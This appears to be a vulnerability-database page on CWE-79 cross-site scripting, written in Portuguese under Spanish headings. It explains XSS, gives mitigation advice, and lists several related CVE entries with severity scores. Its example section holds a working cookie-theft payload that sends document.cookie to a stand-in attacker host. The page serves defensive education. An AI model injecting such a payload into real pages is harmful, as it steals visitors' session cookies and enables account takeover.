Fallos del tipo CWE-79

29.611 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-35432MEDIUMZKTeco ZKBio CVSecurity 6.1.1 is vulnerable to Cross Site Scripting (XSS) via an Audio File. An authenticated user can injection malicious JEPSS 0.4%CVE-2025-6382MEDIUMTaeggie Feed <= 0.1.10 - Authenticated (Contributor+) Stored Cross-Site Scripting via name AttributeEPSS 0.4%CVE-2026-18247MEDIUMDOM-Based Cross-Site Scripting in BlackBerry AtHoc Web PortalsEPSS 0.4%CVE-2023-45755MEDIUMWordPress BuddyPress Global Search Plugin <= 1.2.1 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2026-88852HIGHJoomla Extension - regularlabs.com - Privileged stored XSS via url option in Snippets Free extension for Joomla < 7.0.0, Snippets Pro extension for Joomla < 11.0.0EPSS 0.4%CVE-2022-45538MEDIUMEyouCMS <= 1.6.0 was discovered a reflected-XSS in the article publish component in cookie "ENV_GOBACK_URL".EPSS 0.4%CVE-2024-8363MEDIUMShare This Image <= 2.02 - Authenticated (Contributor+) Stored Cross-Site Scripting via STI Buttons ShortcodeEPSS 0.4%CVE-2025-1171MEDIUMcode-projects Real Estate Property Management System CustomerReport.php cross site scriptingEPSS 0.4%CVE-2024-29770HIGHWordPress Pretty Links plugin <= 3.6.2 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2023-43797MEDIUMBigBlueButton Stored Cross-site Scripting vulnerability at Guest LobbyEPSS 0.4%CVE-2024-38380MEDIUMMillbeck Communications Proroute H685t-w Cross-site Scripting.EPSS 0.4%CVE-2024-20760MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2025-3106MEDIUMLA-Studio Element Kit for Elementor <= 1.4.9 - Authenticated (Contributor+) Stored Cross-Site Scripting via Table of Contents WidgetEPSS 0.4%CVE-2026-76178CRITICALMultiple vulnerabilities in Ocsreports for OCS Inventory NGEPSS 0.4%CVE-2026-88853HIGHJoomla Extension - regularlabs.com - Privileged stored XSS via event handler option in Modals Pro extension for Joomla < 17.0.0EPSS 0.4%CVE-2026-85195HIGHJoomla Extension - regularlabs.com - Privileged stored XSS via link option in Articles Anywhere extension for Joomla < 20.0.0EPSS 0.4%CVE-2023-47653MEDIUMWordPress TWB Woocommerce Reviews Plugin <= 1.7.5 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2026-85190HIGHJoomla Extension - regularlabs.com - Privileged stored XSS via class option in Quick Index extension for Joomla < 5.0.5EPSS 0.4%CVE-2024-25101MEDIUMWordPress Maspik – Spam blacklist Plugin <= 0.10.6 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2026-85191HIGHJoomla Extension - regularlabs.com - Privileged stored XSS via rtla-alias option in Tabs & Accordions extension for Joomla < 3.1.0EPSS 0.4%